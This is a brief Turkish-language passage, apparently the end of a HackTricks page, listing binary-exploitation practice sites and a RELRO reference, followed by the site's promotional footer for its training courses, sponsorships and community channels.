* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||
* [https://pwnable.tw/](https://pwnable.tw/)
|
||
* [https://ctf.hackucf.org/](https://ctf.hackucf.org/)
|
||
|
||
## **Referanslar**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
|
||
|
||
</details>
|